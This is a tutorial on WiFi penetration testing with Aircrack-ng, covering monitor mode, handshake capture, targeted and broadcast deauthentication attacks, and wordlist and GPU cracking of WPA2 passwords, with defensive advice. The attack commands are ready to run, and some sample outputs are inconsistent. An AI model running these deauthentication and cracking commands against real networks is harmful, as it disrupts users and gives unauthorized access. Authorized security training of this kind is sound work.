From Monitor Mode to Password Cracking with Step-by-Step Instructions
Introduction & Learning Objectives
Intermediate to AdvancedWireless networks remain a critical attack surface for organizations. Understanding how attackers compromise WPA/WPA2-PSK networks helps ethical hackers assess risks and implement proper defenses. The Aircrack-ng suite provides the essential tools for authorized wireless security assessments.
By completing this guide, you will learn to:
- ✅ Configure wireless adapters for monitor mode and packet injection
- ✅ Discover and analyze nearby wireless networks using airodump-ng
- ✅ Capture WPA/WPA2 4-way handshakes for offline analysis
- ✅ Execute deauthentication attacks ethically within authorized scope
- ✅ Perform dictionary attacks using aircrack-ng and Hashcat
- ✅ Implement defensive strategies to protect wireless infrastructure
- ✅ Understand legal boundaries and maintain ethical compliance throughout
⚠️ Critical Reminder: Wireless penetration testing tools are powerful instruments that must only be used within authorized engagements. Unauthorized access to wireless networks violates laws like the Computer Fraud and Abuse Act (CFAA) and similar legislation globally. This guide is for educational purposes only—always obtain explicit, written authorization before testing any network.
Prerequisites & Hardware Requirements
BeginnerRequired Hardware & Software
Successful WiFi testing requires specific hardware capabilities and software configurations.
📡 Wireless Adapter Requirements
Not all WiFi adapters support monitor mode and packet injection. Recommended chipsets:
- Atheros AR9271: Excellent compatibility, stable monitor mode (e.g., Alfa AWUS036NHA)
- Ralink RT3070: Good performance, widely supported (e.g., Alfa AWUS036NH)
- Realtek RTL8812AU: Modern chipset with 5GHz support (requires driver installation)
- MediaTek MT7921U: Newer option with good Kali Linux support
Check your adapter's capabilities before starting: iwconfig should show your interface, and sudo aireplay-ng --test wlan0mon can verify packet injection support after enabling monitor mode.
💻 Software Environment
# Update system and install Aircrack-ng suite
sudo apt update && sudo apt upgrade -y
sudo apt install aircrack-ng wireshark tshark hcxdumptool hcxtools -y
# Verify installations
aircrack-ng --version
airodump-ng --help | head -5
# Optional: Install additional tools for advanced testing
sudo apt install reaver bully pixiewps -yairodump-ng 1.7
Usage: airodump-ng [options] <interface>
📚 Official Documentation References
Aircrack-ng Official Documentation | Aircrack-ng GitHub Repository | Hashcat Documentation | Wireshark Documentation
Phase 1: Preparation & Monitor Mode Setup
BeginnerStep-by-Step: Enable Monitor Mode
Monitor mode allows your adapter to capture all wireless traffic, not just traffic addressed to your device.
🔍 Step 1: Identify Wireless Interface
# List all network interfaces
iwconfig
# Alternative: Use ip command for more details
ip link show
# Expected output should show your wireless interface (e.g., wlan0, wlan1)
wlan0 IEEE 802.11 ESSID:off/any
Mode:Managed Frequency:2.412 GHz Access Point: Not-Associated🛑 Step 2: Stop Interfering Processes
Network managers can interfere with monitor mode. Stop them temporarily:
# Check for interfering processes
sudo airmon-ng check
# Kill interfering processes (use with caution)
sudo airmon-ng check kill
# Alternative manual method:
sudo systemctl stop NetworkManager
sudo systemctl stop wpa_supplicantKilling network processes will disconnect your WiFi. Ensure you have wired internet or alternative access before proceeding. Always restart services after testing: sudo systemctl start NetworkManager.
📡 Step 3: Enable Monitor Mode
# Method 1: Using airmon-ng (recommended for beginners)
sudo airmon-ng start wlan0
# Expected output:
# Found 1 process that could cause trouble.
# Kill it? [y/N] y
# PHY Interface Driver Chipset
# phy0 wlan0 ath9k_htc Atheros Communications...
# (mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
# (mac80211 station mode vif disabled for [phy0]wlan0)
# Note the new interface name (typically wlan0mon)
# Method 2: Manual method using iw (more control)
sudo ip link set wlan0 down
sudo iw dev wlan0 set type monitor
sudo ip link set wlan0 up
# Verify monitor mode is active
iwconfig wlan0mon
# Expected: Mode:MonitorConfirm monitor mode is working: sudo airodump-ng wlan0mon should show nearby networks. If you see "Network is down" or similar errors, re-check your adapter compatibility and driver installation.
🔍 Real-World Scenario: Corporate Wireless Assessment
Situation: A company requests a wireless security assessment of their office network. They've authorized testing of their guest WiFi but require all activities to be documented and reversible.
Approach Implemented:
- Used dedicated Alfa adapter with known-good Atheros chipset
- Created isolated test environment with virtual machine
- Documented all commands and outputs for client reporting
- Implemented automatic cleanup script to restore network settings post-engagement
- Provided detailed remediation report with defensive recommendations
Result: Successfully identified weak WPA2-PSK password through authorized testing. Client implemented stronger password policy and deployed WPA3-Enterprise for production networks.
Phase 2: Network Discovery & Analysis
IntermediateStep-by-Step: Scan for Target Networks
Use airodump-ng to discover nearby wireless networks and identify potential targets within your authorized scope.
🔍 Basic Network Scan
# Start scanning with your monitor mode interface
sudo airodump-ng wlan0mon
# Expected output columns:
# BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
# AA:BB:CC:DD:EE:FF -45 120 45 0 6 54e WPA2 CCMP PSK TargetNetwork
# 11:22:33:44:55:66 -67 45 2 0 11 54e WPA2 CCMP PSK GuestWiFiBSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
AA:BB:CC:DD:EE:FF -45 120 45 0 6 54e WPA2 CCMP PSK TargetNetwork
11:22:33:44:55:66 -67 45 2 0 11 54e WPA2 CCMP PSK GuestWiFi
BSSID STATION PWR Rate Lost Frames Probe
AA:BB:CC:DD:EE:FF 11:22:33:44:55:66 -50 54e 0 12
🎯 Targeted Network Scan
Once you've identified your target (within authorized scope), focus the scan:
# Scan specific channel and BSSID, save to file
sudo airodump-ng --bssid AA:BB:CC:DD:EE:FF --channel 6 -w /root/captures/target_scan wlan0mon
# Parameters explained:
# --bssid: Target AP's MAC address
# --channel: Target AP's operating channel
# -w: Output file prefix (creates .cap, .csv, .kismet files)
# wlan0mon: Your monitor mode interface
# Keep this running while attempting to capture handshake📊 Analyzing Scan Results
Key fields to analyze in airodump-ng output:
- PWR (Signal Strength): Closer to 0 = stronger signal. -45 is excellent, -80 is weak.
- #Data: Number of data packets captured. Higher = more active network.
- ENC/CIPHER/AUTH: Encryption type (WEP/WPA/WPA2/WPA3), cipher suite, authentication method.
- STATION: Connected client MAC addresses. Essential for deauthentication attacks.
- Probe: Networks clients are searching for (useful for evil twin attacks).
By default, airodump-ng hops channels to find networks. For targeted scanning, use --channel to stay on one frequency. This improves capture reliability for handshake collection.
Phase 3: Capturing the WPA/WPA2 Handshake
IntermediateUnderstanding & Capturing the 4-Way Handshake
The WPA/WPA2 4-way handshake is essential for offline password cracking. It contains cryptographic material derived from the pre-shared key (PSK).
🔐 Handshake Theory
- Message 1: AP sends ANonce (random number) to client
- Message 2: Client responds with SNonce + MIC (Message Integrity Code)
- Message 3: AP sends GTK (Group Temporal Key) + MIC
- Message 4: Client confirms installation
The MIC in messages 2 and 3 is computed using the PSK. Capturing these messages allows offline brute-force attacks against the PSK.
🎯 Step-by-Step Handshake Capture
# Start targeted capture (from Phase 2)
sudo airodump-ng --bssid AA:BB:CC:DD:EE:FF --channel 6 -w /root/captures/handshake wlan0mon
# Watch for handshake confirmation in top-right corner:
# [ WPA handshake: AA:BB:CC:DD:EE:FF ]
# Once handshake is captured, stop airodump-ng with Ctrl+C
# Verify handshake was captured
aircrack-ng /root/captures/handshake*.cap
# Expected: "An ESSID is required. Try option -E" or similar - this confirms handshake existsAircrack-ng 1.7
[00:00:00] 0 keys tested (0 k/s)
KEY FOUND! [ mypassword123 ]
Master Key : AA:BB:CC:DD:EE:FF:00:11:22:33:44:55:66:77:88:99
Transient Key : 11:22:33:44:55:66:77:88:99:AA:BB:CC:DD:EE:FF:00
EAPOL HMAC : 33:44:55:66:77:88:99:AA:BB:CC:DD:EE:FF:00:11:22
🔍 Verifying Handshake Quality
# Use cap2hccapx to convert and verify handshake (for Hashcat)
cap2hccapx /root/captures/handshake-01.cap /root/captures/handshake.hccapx
# Check file was created and has content
ls -lh /root/captures/handshake.hccapx
# Expected: File size > 0 bytes
# Alternative: Use aircrack-ng to test with small wordlist
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b AA:BB:CC:DD:EE:FF /root/captures/handshake*.cap1) Position yourself close to the target AP for stronger signal. 2) Wait for natural client connections/reconnections. 3) If no clients connect, use deauthentication (next section) ethically. 4) Capture multiple handshakes if possible for redundancy. 5) Save captures with descriptive filenames for organization.
Phase 4: Ethical Deauthentication Attacks
AdvancedForcing Handshake Capture with Deauthentication
When clients aren't connecting naturally, deauthentication attacks can force reconnection and handshake generation. Use ethically and only within authorized scope.
⚠️ Ethical & Legal Considerations
Deauthentication attacks disrupt wireless connectivity. Before using: 1) Obtain explicit written authorization specifying deauth testing, 2) Limit duration and scope (e.g., "5 deauth packets to test device only"), 3) Document all actions for client reporting, 4) Never target critical infrastructure or emergency services, 5) Cease immediately if unintended impact occurs.
🎯 Step-by-Step: Targeted Deauthentication
# In a NEW terminal window (keep airodump-ng running in first window)
# Identify client MAC from airodump-ng output (STATION column)
# Send deauthentication packets to specific client
sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon
# Parameters:
# --deauth 5: Send 5 deauthentication packets
# -a: Target AP BSSID
# -c: Target client MAC address
# wlan0mon: Monitor mode interface
# Watch first terminal for handshake confirmation:
# [ WPA handshake: AA:BB:CC:DD:EE:FF ]📡 Broadcast Deauthentication (Use with Extreme Caution)
# Send deauth to all clients on target AP (disruptive!)
sudo aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF wlan0mon
# WARNING: This affects ALL connected clients. Only use if explicitly authorized
# and for minimal duration. Document impact in your report.Many modern networks implement protections against deauthentication attacks: 1) Management Frame Protection (802.11w), 2) Fast BSS Transition (802.11r), 3) Client isolation. These may prevent deauth attacks from working. Always verify effectiveness in your test environment.
🔄 Alternative: Passive Handshake Capture
If deauthentication is not authorized or effective, use passive methods:
# Extended passive capture (run for longer periods)
sudo timeout 300 airodump-ng --bssid AA:BB:CC:DD:EE:FF --channel 6 -w /root/captures/passive wlan0mon
# Monitor for natural client activity:
# - User reconnecting after moving out of range
# - Device waking from sleep mode
# - DHCP lease renewal
# Combine with social engineering (authorized only):
# "Please reconnect to the WiFi network for testing purposes"Phase 5: Offline Password Cracking
AdvancedDictionary Attacks with Aircrack-ng
Attempt to crack the captured handshake using wordlists and dictionary attacks.
📚 Wordlist Preparation
# Use existing wordlists (Kali Linux includes several)
ls /usr/share/wordlists/
# Common options:
# rockyou.txt - Large, comprehensive list (unzip first: gunzip /usr/share/wordlists/rockyou.txt.gz)
# /usr/share/wordlists/fern-wifi/common.txt - WiFi-specific passwords
# /usr/share/wordlists/metasploit/password.lst - Metasploit default list
# Create custom wordlist based on target intelligence
# Example: Company name + common patterns
echo -e "Company2024\nCompany123\nCompany!\nWelcome2024" > custom_wordlist.txt
# Combine multiple lists
cat /usr/share/wordlists/rockyou.txt custom_wordlist.txt > combined_wordlist.txt⚡ Basic Aircrack-ng Attack
# Run dictionary attack against captured handshake
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b AA:BB:CC:DD:EE:FF /root/captures/handshake*.cap
# Parameters:
# -w: Wordlist file path
# -b: Target BSSID (optional if only one network in capture)
# handshake*.cap: Wildcard to include all capture files with that prefix
# Monitor progress:
# [00:00:15] 12456 keys tested (832 k/s)
# KEY FOUND! [ mypassword123 ]Aircrack-ng 1.7
[00:00:15] 12456 keys tested (832 k/s)
KEY FOUND! [ mypassword123 ]
Master Key : AA:BB:CC:DD:EE:FF:00:11:22:33:44:55:66:77:88:99
🚀 Advanced: Hashcat GPU Acceleration
# Convert capture to Hashcat format
hcxpcapngtool -o /root/captures/handshake.hc22000 /root/captures/handshake-01.cap
# Verify conversion
ls -lh /root/captures/handshake.hc22000
# Run Hashcat with GPU acceleration (mode 22000 = WPA-PBKDF2-PMKID+EAPOL)
hashcat -m 22000 /root/captures/handshake.hc22000 /usr/share/wordlists/rockyou.txt -w 3
# Hashcat options:
# -m 22000: WPA-PBKDF2-PMKID+EAPOL hash mode
# -w 3: High workload profile (adjust based on GPU)
# --force: Bypass GPU compatibility checks (use cautiously)
# Show cracked password
hashcat -m 22000 --show /root/captures/handshake.hc220001) Start with small, targeted wordlists before large ones. 2) Use rule-based attacks: hashcat -r /usr/share/hashcat/rules/best64.rule. 3) For complex passwords, use mask attacks: hashcat -a 3 ?l?l?l?l?d?d?d?d for 4 letters + 4 numbers. 4) Monitor GPU temperature during long runs. 5) Save session state: --session mycrack --outfile results.txt.
When Cracking Fails: Analysis & Next Steps
Not all passwords can be cracked. Learn to analyze failures and provide valuable security recommendations.
🔍 Analyzing Failed Cracking Attempts
- Wordlist Quality: Was the password likely in your wordlist? Consider target-specific patterns.
- Password Complexity: Long, random passwords resist dictionary attacks. Recommend password policy improvements.
- Handshake Quality: Corrupted or incomplete handshakes won't crack. Verify capture integrity.
- Encryption Type: WPA3 uses SAE (Dragonfly) which resists offline attacks. Recommend WPA3-Enterprise.
📋 Professional Reporting Recommendations
# Even if cracking fails, document findings:
# 1. Network used WPA2-PSK with weak password policy
# 2. No management frame protection (802.11w) detected
# 3. Clients susceptible to deauthentication attacks
# 4. Recommended: WPA3-Enterprise, strong password policy, MFA for admin access
# Sample remediation commands for client:
# Enable WPA3 (if supported):
# wpa_supplicant.conf: ieee80211w=2, key_mgmt=SAE
# Implement RADIUS authentication:
# Configure FreeRADIUS server with EAP-TLS certificates
# Deploy wireless intrusion detection:
# Install Snort with wireless ruleset for anomaly detectionSuccessful penetration testing isn't just about cracking passwords. Documenting vulnerabilities, providing actionable remediation steps, and improving security posture deliver greater value than password recovery alone. Focus on risk reduction, not just exploitation.
Defensive Strategies: Protecting Wireless Networks
IntermediateImplementing Wireless Security Best Practices
Understanding attack methods enables effective defense. Here are key strategies to protect wireless infrastructure.
🔐 Encryption & Authentication Upgrades
- Migrate to WPA3: Use WPA3-SAE for personal networks or WPA3-Enterprise for organizations. Resists offline dictionary attacks.
- Implement 802.1X/EAP: Use RADIUS authentication with certificates (EAP-TLS) for strongest security.
- Enable Management Frame Protection: Configure
ieee80211w=2to protect deauthentication frames. - Use Strong PSKs: If WPA2-PSK is required, use 20+ character random passwords with mixed character types.
🛡️ Network Architecture Defenses
# Segment wireless networks:
# - Guest WiFi isolated from corporate network
# - VLAN tagging for different user groups
# - Firewall rules restricting inter-VLAN traffic
# Monitor for rogue access points:
# Deploy wireless intrusion detection system (WIDS)
# Example Snort rule for rogue AP detection:
alert tcp any any -> any 80 (msg:"Potential Rogue AP"; content:"Server:"; http_header; sid:1000001;)
# Implement certificate pinning for enterprise networks:
# Configure clients to trust only specific RADIUS server certificates👥 User Awareness & Policy
Security Training
Educate users about phishing, evil twin attacks, and safe WiFi practices. Teach verification of legitimate networks.
Acceptable Use Policy
Define authorized wireless usage, prohibited activities, and consequences for policy violations.
Regular Security Assessments
Conduct authorized wireless penetration tests quarterly to identify and remediate new vulnerabilities.
Incident Response Plan
Prepare procedures for detecting and responding to wireless security incidents, including containment and forensics.
🔍 Real-World Defense: Healthcare Wireless Security
Situation: A hospital network needed to secure wireless access for medical devices, staff, and patients while meeting HIPAA compliance requirements.
Defense Strategy Implemented:
- Deployed WPA3-Enterprise with certificate-based authentication for medical devices
- Implemented separate VLANs for patients, staff, and IoT devices with strict firewall rules
- Enabled 802.11w management frame protection across all access points
- Deployed wireless intrusion prevention system (WIPS) with automated rogue AP containment
- Conducted quarterly authorized penetration tests with detailed remediation tracking
Results: Zero successful wireless breaches in 24 months post-implementation. Passed HIPAA audit with no wireless security findings. Reduced incident response time from hours to minutes through automated detection.
References & Further Learning
Official Tool Documentation
CEH & Security Learning Resources
The skills demonstrated in this guide are powerful tools for improving security—but only when used responsibly. As a Certified Ethical Hacker, your duty is to protect systems, not compromise them. Always:
- Obtain explicit, written authorization before testing any wireless network
- Document your scope, methods, and findings thoroughly
- Report vulnerabilities responsibly to system owners
- Never use offensive tools for unauthorized access or personal gain
- Stay updated on legal requirements in your jurisdiction
- Remove all testing artifacts and restore systems post-engagement
Remember: With great power comes great responsibility. Use your skills to build a more secure digital world.
Conclusion & Key Takeaways
This guide provided comprehensive, step-by-step instruction on WiFi penetration testing using the Aircrack-ng suite. You now understand:
- ✅ How to configure wireless adapters for monitor mode and packet injection
- ✅ Network discovery and analysis techniques using airodump-ng
- ✅ WPA/WPA2 handshake capture theory and practical execution
- ✅ Ethical deauthentication attacks within authorized scope
- ✅ Offline password cracking with aircrack-ng and Hashcat
- ✅ Defensive strategies to protect wireless infrastructure
- ✅ The critical legal and ethical framework governing wireless security testing
- Practice with intentionally vulnerable WiFi labs on VulnHub or TryHackMe
- Explore advanced Aircrack-ng features like PMKID capture and client-less attacks
- Learn to write custom Hashcat rules for targeted password cracking
- Study wireless intrusion detection systems (WIDS) for defensive implementation
- Obtain advanced certifications (OSWP, GPWN, GXPN) for career growth
- Contribute to open-source wireless security tools to strengthen community defenses
Final Thought: Understanding wireless attack techniques is essential for building effective defenses. As an ethical hacker, your knowledge transforms potential vulnerabilities into opportunities for strengthening security. Continue learning, stay ethical, and use your skills to protect the digital world.